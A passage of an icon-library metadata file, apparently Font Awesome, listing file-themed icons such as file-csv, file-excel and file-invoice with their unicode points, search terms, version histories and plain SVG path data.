        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM153 289l-31 31 31 31c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0L71 337c-9.4-9.4-9.4-24.6 0-33.9l48-48c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9zM265 255l48 48c9.4 9.4 9.4 24.6 0 33.9l-48 48c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l31-31-31-31c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0z"
      },
      "regular": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 464c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16H224v80c0 17.7 14.3 32 32 32h80V448c0 8.8-7.2 16-16 16H64zM64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V154.5c0-17-6.7-33.3-18.7-45.3L274.7 18.7C262.7 6.7 246.5 0 229.5 0H64zm97 289c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L79 303c-9.4 9.4-9.4 24.6 0 33.9l48 48c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-31-31 31-31zM257 255c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l31 31-31 31c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l48-48c9.4-9.4 9.4-24.6 0-33.9l-48-48z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 464c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16H224v80c0 17.7 14.3 32 32 32h80V448c0 8.8-7.2 16-16 16H64zM64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V154.5c0-17-6.7-33.3-18.7-45.3L274.7 18.7C262.7 6.7 246.5 0 229.5 0H64zm97 289c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L79 303c-9.4 9.4-9.4 24.6 0 33.9l48 48c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-31-31 31-31zM257 255c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l31 31-31 31c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l48-48c9.4-9.4 9.4-24.6 0-33.9l-48-48z"
      }
    },
    "free": ["regular", "solid"]
  },
  "file-contract": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f56c"]
      }
    },
    "changes": ["5.1.0", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["agreement", "binding", "document", "legal", "signature"]
    },
    "styles": ["solid"],
    "unicode": "f56c",
    "label": "File Contract",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM80 64h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16s7.2-16 16-16zm54.2 253.8c-6.1 20.3-24.8 34.2-46 34.2H80c-8.8 0-16-7.2-16-16s7.2-16 16-16h8.2c7.1 0 13.3-4.6 15.3-11.4l14.9-49.5c3.4-11.3 13.8-19.1 25.6-19.1s22.2 7.7 25.6 19.1l11.6 38.6c7.4-6.2 16.8-9.7 26.8-9.7c15.9 0 30.4 9 37.5 23.2l4.4 8.8H304c8.8 0 16 7.2 16 16s-7.2 16-16 16H240c-6.1 0-11.6-3.4-14.3-8.8l-8.8-17.7c-1.7-3.4-5.1-5.5-8.8-5.5s-7.2 2.1-8.8 5.5l-8.8 17.7c-2.9 5.9-9.2 9.4-15.7 8.8s-12.1-5.1-13.9-11.3L144 349l-9.8 32.8z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM80 64h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16s7.2-16 16-16zm54.2 253.8c-6.1 20.3-24.8 34.2-46 34.2H80c-8.8 0-16-7.2-16-16s7.2-16 16-16h8.2c7.1 0 13.3-4.6 15.3-11.4l14.9-49.5c3.4-11.3 13.8-19.1 25.6-19.1s22.2 7.7 25.6 19.1l11.6 38.6c7.4-6.2 16.8-9.7 26.8-9.7c15.9 0 30.4 9 37.5 23.2l4.4 8.8H304c8.8 0 16 7.2 16 16s-7.2 16-16 16H240c-6.1 0-11.6-3.4-14.3-8.8l-8.8-17.7c-1.7-3.4-5.1-5.5-8.8-5.5s-7.2 2.1-8.8 5.5l-8.8 17.7c-2.9 5.9-9.2 9.4-15.7 8.8s-12.1-5.1-13.9-11.3L144 349l-9.8 32.8z"
      }
    },
    "free": ["solid"]
  },
  "file-csv": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f6dd"]
      }
    },
    "changes": [
      "5.4.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["document", "excel", "numbers", "spreadsheets", "table"]
    },
    "styles": ["solid"],
    "unicode": "f6dd",
    "label": "File Csv",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384V304H176c-35.3 0-64 28.7-64 64V512H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zM200 352h16c22.1 0 40 17.9 40 40v8c0 8.8-7.2 16-16 16s-16-7.2-16-16v-8c0-4.4-3.6-8-8-8H200c-4.4 0-8 3.6-8 8v80c0 4.4 3.6 8 8 8h16c4.4 0 8-3.6 8-8v-8c0-8.8 7.2-16 16-16s16 7.2 16 16v8c0 22.1-17.9 40-40 40H200c-22.1 0-40-17.9-40-40V392c0-22.1 17.9-40 40-40zm133.1 0H368c8.8 0 16 7.2 16 16s-7.2 16-16 16H333.1c-7.2 0-13.1 5.9-13.1 13.1c0 5.2 3 9.9 7.8 12l37.4 16.6c16.3 7.2 26.8 23.4 26.8 41.2c0 24.9-20.2 45.1-45.1 45.1H304c-8.8 0-16-7.2-16-16s7.2-16 16-16h42.9c7.2 0 13.1-5.9 13.1-13.1c0-5.2-3-9.9-7.8-12l-37.4-16.6c-16.3-7.2-26.8-23.4-26.8-41.2c0-24.9 20.2-45.1 45.1-45.1zm98.9 0c8.8 0 16 7.2 16 16v31.6c0 23 5.5 45.6 16 66c10.5-20.3 16-42.9 16-66V368c0-8.8 7.2-16 16-16s16 7.2 16 16v31.6c0 34.7-10.3 68.7-29.6 97.6l-5.1 7.7c-3 4.5-8 7.1-13.3 7.1s-10.3-2.7-13.3-7.1l-5.1-7.7c-19.3-28.9-29.6-62.9-29.6-97.6V368c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384V304H176c-35.3 0-64 28.7-64 64V512H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zM200 352h16c22.1 0 40 17.9 40 40v8c0 8.8-7.2 16-16 16s-16-7.2-16-16v-8c0-4.4-3.6-8-8-8H200c-4.4 0-8 3.6-8 8v80c0 4.4 3.6 8 8 8h16c4.4 0 8-3.6 8-8v-8c0-8.8 7.2-16 16-16s16 7.2 16 16v8c0 22.1-17.9 40-40 40H200c-22.1 0-40-17.9-40-40V392c0-22.1 17.9-40 40-40zm133.1 0H368c8.8 0 16 7.2 16 16s-7.2 16-16 16H333.1c-7.2 0-13.1 5.9-13.1 13.1c0 5.2 3 9.9 7.8 12l37.4 16.6c16.3 7.2 26.8 23.4 26.8 41.2c0 24.9-20.2 45.1-45.1 45.1H304c-8.8 0-16-7.2-16-16s7.2-16 16-16h42.9c7.2 0 13.1-5.9 13.1-13.1c0-5.2-3-9.9-7.8-12l-37.4-16.6c-16.3-7.2-26.8-23.4-26.8-41.2c0-24.9 20.2-45.1 45.1-45.1zm98.9 0c8.8 0 16 7.2 16 16v31.6c0 23 5.5 45.6 16 66c10.5-20.3 16-42.9 16-66V368c0-8.8 7.2-16 16-16s16 7.2 16 16v31.6c0 34.7-10.3 68.7-29.6 97.6l-5.1 7.7c-3 4.5-8 7.1-13.3 7.1s-10.3-2.7-13.3-7.1l-5.1-7.7c-19.3-28.9-29.6-62.9-29.6-97.6V368c0-8.8 7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "file-excel": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1c3"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["csv", "document", "numbers", "spreadsheets", "table"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1c3",
    "label": "File Excel",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM155.7 250.2L192 302.1l36.3-51.9c7.6-10.9 22.6-13.5 33.4-5.9s13.5 22.6 5.9 33.4L221.3 344l46.4 66.2c7.6 10.9 5 25.8-5.9 33.4s-25.8 5-33.4-5.9L192 385.8l-36.3 51.9c-7.6 10.9-22.6 13.5-33.4 5.9s-13.5-22.6-5.9-33.4L162.7 344l-46.4-66.2c-7.6-10.9-5-25.8 5.9-33.4s25.8-5 33.4 5.9z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM155.7 250.2L192 302.1l36.3-51.9c7.6-10.9 22.6-13.5 33.4-5.9s13.5 22.6 5.9 33.4L221.3 344l46.4 66.2c7.6 10.9 5 25.8-5.9 33.4s-25.8 5-33.4-5.9L192 385.8l-36.3 51.9c-7.6 10.9-22.6 13.5-33.4 5.9s-13.5-22.6-5.9-33.4L162.7 344l-46.4-66.2c-7.6-10.9-5-25.8 5.9-33.4s25.8-5 33.4 5.9z"
      },
      "regular": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M48 448V64c0-8.8 7.2-16 16-16H224v80c0 17.7 14.3 32 32 32h80V448c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16zM64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V154.5c0-17-6.7-33.3-18.7-45.3L274.7 18.7C262.7 6.7 246.5 0 229.5 0H64zm90.9 233.3c-8.1-10.5-23.2-12.3-33.7-4.2s-12.3 23.2-4.2 33.7L161.6 320l-44.5 57.3c-8.1 10.5-6.3 25.5 4.2 33.7s25.5 6.3 33.7-4.2L192 359.1l37.1 47.6c8.1 10.5 23.2 12.3 33.7 4.2s12.3-23.2 4.2-33.7L222.4 320l44.5-57.3c8.1-10.5 6.3-25.5-4.2-33.7s-25.5-6.3-33.7 4.2L192 280.9l-37.1-47.6z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M48 448V64c0-8.8 7.2-16 16-16H224v80c0 17.7 14.3 32 32 32h80V448c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16zM64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V154.5c0-17-6.7-33.3-18.7-45.3L274.7 18.7C262.7 6.7 246.5 0 229.5 0H64zm90.9 233.3c-8.1-10.5-23.2-12.3-33.7-4.2s-12.3 23.2-4.2 33.7L161.6 320l-44.5 57.3c-8.1 10.5-6.3 25.5 4.2 33.7s25.5 6.3 33.7-4.2L192 359.1l37.1 47.6c8.1 10.5 23.2 12.3 33.7 4.2s12.3-23.2 4.2-33.7L222.4 320l44.5-57.3c8.1-10.5 6.3-25.5-4.2-33.7s-25.5-6.3-33.7 4.2L192 280.9l-37.1-47.6z"
      }
    },
    "free": ["regular", "solid"]
  },
  "file-export": {
    "aliases": {
      "names": ["arrow-right-from-file"],
      "unicodes": {
        "secondary": ["10f56e"]
      }
    },
    "changes": [
      "5.1.0",
      "5.7.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["download", "save"]
    },
    "styles": ["solid"],
    "unicode": "f56e",
    "label": "File Export",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384V288H216c-13.3 0-24 10.7-24 24s10.7 24 24 24H384V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM384 336V288H494.1l-39-39c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l80 80c9.4 9.4 9.4 24.6 0 33.9l-80 80c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l39-39H384zm0-208H256V0L384 128z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384V288H216c-13.3 0-24 10.7-24 24s10.7 24 24 24H384V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM384 336V288H494.1l-39-39c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l80 80c9.4 9.4 9.4 24.6 0 33.9l-80 80c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l39-39H384zm0-208H256V0L384 128z"
      }
    },
    "free": ["solid"]
  },
  "file-image": {
    "aliases": {
      "unicodes": {
        "composite": ["1f5bb"],
        "secondary": ["10f1c5"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Document with Picture",
        "document",
        "image",
        "jpg",
        "photo",
        "png"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1c5",
    "label": "File Image",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM64 256a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm152 32c5.3 0 10.2 2.6 13.2 6.9l88 128c3.4 4.9 3.7 11.3 1 16.5s-8.2 8.6-14.2 8.6H216 176 128 80c-5.8 0-11.1-3.1-13.9-8.1s-2.8-11.2 .2-16.1l48-80c2.9-4.8 8.1-7.8 13.7-7.8s10.8 2.9 13.7 7.8l12.8 21.4 48.3-70.2c3-4.3 7.9-6.9 13.2-6.9z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM64 256a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm152 32c5.3 0 10.2 2.6 13.2 6.9l88 128c3.4 4.9 3.7 11.3 1 16.5s-8.2 8.6-14.2 8.6H216 176 128 80c-5.8 0-11.1-3.1-13.9-8.1s-2.8-11.2 .2-16.1l48-80c2.9-4.8 8.1-7.8 13.7-7.8s10.8 2.9 13.7 7.8l12.8 21.4 48.3-70.2c3-4.3 7.9-6.9 13.2-6.9z"
      },
      "regular": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 464c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16H224v80c0 17.7 14.3 32 32 32h80V448c0 8.8-7.2 16-16 16H64zM64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V154.5c0-17-6.7-33.3-18.7-45.3L274.7 18.7C262.7 6.7 246.5 0 229.5 0H64zm96 256a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm69.2 46.9c-3-4.3-7.9-6.9-13.2-6.9s-10.2 2.6-13.2 6.9l-41.3 59.7-11.9-19.1c-2.9-4.7-8.1-7.5-13.6-7.5s-10.6 2.8-13.6 7.5l-40 64c-3.1 4.9-3.2 11.1-.4 16.2s8.2 8.2 14 8.2h48 32 40 72c6 0 11.4-3.3 14.2-8.6s2.4-11.6-1-16.5l-72-104z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 464c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16H224v80c0 17.7 14.3 32 32 32h80V448c0 8.8-7.2 16-16 16H64zM64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V154.5c0-17-6.7-33.3-18.7-45.3L274.7 18.7C262.7 6.7 246.5 0 229.5 0H64zm96 256a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm69.2 46.9c-3-4.3-7.9-6.9-13.2-6.9s-10.2 2.6-13.2 6.9l-41.3 59.7-11.9-19.1c-2.9-4.7-8.1-7.5-13.6-7.5s-10.6 2.8-13.6 7.5l-40 64c-3.1 4.9-3.2 11.1-.4 16.2s8.2 8.2 14 8.2h48 32 40 72c6 0 11.4-3.3 14.2-8.6s2.4-11.6-1-16.5l-72-104z"
      }
    },
    "free": ["regular", "solid"]
  },
  "file-import": {
    "aliases": {
      "names": ["arrow-right-to-file"],
      "unicodes": {
        "secondary": ["10f56f"]
      }
    },
    "changes": [
      "5.1.0",
      "5.7.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["copy", "document", "send", "upload"]
    },
    "styles": ["solid"],
    "unicode": "f56f",
    "label": "File Import",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M128 64c0-35.3 28.7-64 64-64H352V128c0 17.7 14.3 32 32 32H512V448c0 35.3-28.7 64-64 64H192c-35.3 0-64-28.7-64-64V336H302.1l-39 39c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l80-80c9.4-9.4 9.4-24.6 0-33.9l-80-80c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l39 39H128V64zm0 224v48H24c-13.3 0-24-10.7-24-24s10.7-24 24-24H128zM512 128H384V0L512 128z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M128 64c0-35.3 28.7-64 64-64H352V128c0 17.7 14.3 32 32 32H512V448c0 35.3-28.7 64-64 64H192c-35.3 0-64-28.7-64-64V336H302.1l-39 39c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l80-80c9.4-9.4 9.4-24.6 0-33.9l-80-80c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l39 39H128V64zm0 224v48H24c-13.3 0-24-10.7-24-24s10.7-24 24-24H128zM512 128H384V0L512 128z"
      }
    },
    "free": ["solid"]
  },
  "file-invoice": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f570"]
      }
    },
    "changes": ["5.1.0", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["account", "bill", "charge", "document", "payment", "receipt"]
    },
    "styles": ["solid"],
    "unicode": "f570",
    "label": "File Invoice",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM80 64h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16s7.2-16 16-16zm16 96H288c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V256c0-17.7 14.3-32 32-32zm0 32v64H288V256H96zM240 416h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H240c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM80 64h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16s7.2-16 16-16zm16 96H288c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V256c0-17.7 14.3-32 32-32zm0 32v64H288V256H96zM240 416h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H240c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "file-invoice-dollar": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f571"]
      }
    },
    "changes": ["5.1.0", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "$",
        "account",
        "bill",
        "charge",
        "document",
        "dollar-sign",
        "money",
        "payment",
        "receipt",
        "usd"
      ]
    },
    "styles": ["solid"],
    "unicode": "f571",
    "label": "File Invoice Dollar",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM64 80c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16zm0 64c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16zm128 72c8.8 0 16 7.2 16 16v17.3c8.5 1.2 16.7 3.1 24.1 5.1c8.5 2.3 13.6 11 11.3 19.6s-11 13.6-19.6 11.3c-11.1-3-22-5.2-32.1-5.3c-8.4-.1-17.4 1.8-23.6 5.5c-5.7 3.4-8.1 7.3-8.1 12.8c0 3.7 1.3 6.5 7.3 10.1c6.9 4.1 16.6 7.1 29.2 10.9l.5 .1 0 0 0 0c11.3 3.4 25.3 7.6 36.3 14.6c12.1 7.6 22.4 19.7 22.7 38.2c.3 19.3-9.6 33.3-22.9 41.6c-7.7 4.8-16.4 7.6-25.1 9.1V440c0 8.8-7.2 16-16 16s-16-7.2-16-16V422.2c-11.2-2.1-21.7-5.7-30.9-8.9l0 0c-2.1-.7-4.2-1.4-6.2-2.1c-8.4-2.8-12.9-11.9-10.1-20.2s11.9-12.9 20.2-10.1c2.5 .8 4.8 1.6 7.1 2.4l0 0 0 0 0 0c13.6 4.6 24.6 8.4 36.3 8.7c9.1 .3 17.9-1.7 23.7-5.3c5.1-3.2 7.9-7.3 7.8-14c-.1-4.6-1.8-7.8-7.7-11.6c-6.8-4.3-16.5-7.4-29-11.2l-1.6-.5 0 0c-11-3.3-24.3-7.3-34.8-13.7c-12-7.2-22.6-18.9-22.7-37.3c-.1-19.4 10.8-32.8 23.8-40.5c7.5-4.4 15.8-7.2 24.1-8.7V232c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM64 80c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16zm0 64c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16s-7.2 16-16 16H80c-8.8 0-16-7.2-16-16zm128 72c8.8 0 16 7.2 16 16v17.3c8.5 1.2 16.7 3.1 24.1 5.1c8.5 2.3 13.6 11 11.3 19.6s-11 13.6-19.6 11.3c-11.1-3-22-5.2-32.1-5.3c-8.4-.1-17.4 1.8-23.6 5.5c-5.7 3.4-8.1 7.3-8.1 12.8c0 3.7 1.3 6.5 7.3 10.1c6.9 4.1 16.6 7.1 29.2 10.9l.5 .1 0 0 0 0c11.3 3.4 25.3 7.6 36.3 14.6c12.1 7.6 22.4 19.7 22.7 38.2c.3 19.3-9.6 33.3-22.9 41.6c-7.7 4.8-16.4 7.6-25.1 9.1V440c0 8.8-7.2 16-16 16s-16-7.2-16-16V422.2c-11.2-2.1-21.7-5.7-30.9-8.9l0 0c-2.1-.7-4.2-1.4-6.2-2.1c-8.4-2.8-12.9-11.9-10.1-20.2s11.9-12.9 20.2-10.1c2.5 .8 4.8 1.6 7.1 2.4l0 0 0 0 0 0c13.6 4.6 24.6 8.4 36.3 8.7c9.1 .3 17.9-1.7 23.7-5.3c5.1-3.2 7.9-7.3 7.8-14c-.1-4.6-1.8-7.8-7.7-11.6c-6.8-4.3-16.5-7.4-29-11.2l-1.6-.5 0 0c-11-3.3-24.3-7.3-34.8-13.7c-12-7.2-22.6-18.9-22.7-37.3c-.1-19.4 10.8-32.8 23.8-40.5c7.5-4.4 15.8-7.2 24.1-8.7V232c0-8.8 7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "file-lines": {
    "aliases": {
      "names": ["file-alt", "file-text"],
      "unicodes": {
        "composite": ["1f5b9", "1f5ce", "f0f6"],
        "secondary": ["10f15c"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Document",
        "Document with Text",
        "document",
        "file-text",
        "invoice",
        "new",
        "page",
        "pdf"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f15c",
    "label": "File Lines",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM112 256H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
